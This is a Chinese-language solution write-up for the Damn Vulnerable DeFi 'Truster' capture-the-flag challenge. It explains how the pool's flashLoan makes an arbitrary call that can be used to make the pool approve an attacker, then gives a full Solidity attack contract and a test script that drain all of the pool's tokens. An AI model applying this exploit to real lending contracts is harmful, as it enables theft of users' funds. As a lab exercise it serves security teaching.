越来越多的借贷池开始提供闪电贷款服务。在这种情况下,一个新的借贷池已经启动,提供免费的DVT代币闪电贷款服务。
该借贷池持有100万个DVT代币。你没有任何代币。
为了完成这个挑战,将借贷池中的所有代币取出。如果可能,在一个单独的交易中完成。
https://www.damnvulnerabledefi.xyz/challenges/truster/
ERC20协议中有个 approve(address,uint256) ,调用者给参数address授权uint256额度。
TrusterLenderPool.sol合约中的function flashLoan( uint256 amount, address borrower, address target, bytes calldata data ) 参数data正好可以传递approve的字节码方式,并且方法中使用的是call方式执行字节码,这样TrusterLenderPool.sol合约授权了攻击合约的token额度,后面可以随时转币。
创建攻击合约 AttackTruster.sol
pragma solidity ^0.8.0;
import "solmate/src/tokens/ERC20.sol";
import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";
contract AttackTruster {
TrusterLenderPool private trusterLenderPool;
DamnValuableToken private damnValuableToken;
constructor(
address payable _trusterLenderPool,
address payable _damnValuableToken
) {
trusterLenderPool = TrusterLenderPool(_trusterLenderPool);
damnValuableToken = DamnValuableToken(_damnValuableToken);
}
function attack() public {
uint256 balance = damnValuableToken.balanceOf(
address(trusterLenderPool)
);
trusterLenderPool.flashLoan(
0,
address(this),
address(damnValuableToken),
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
balance
)
);
damnValuableToken.transferFrom(
address(trusterLenderPool),
msg.sender,
balance
);
}
}
truster.challenge.js
it('Execution', async function () {
const attackTrusterFactory = await ethers.getContractFactory("AttackTruster", player);
const attackTruster = await attackTrusterFactory.deploy(
pool.address,
token.address
)
attackTruster.connect(player).attack();
});
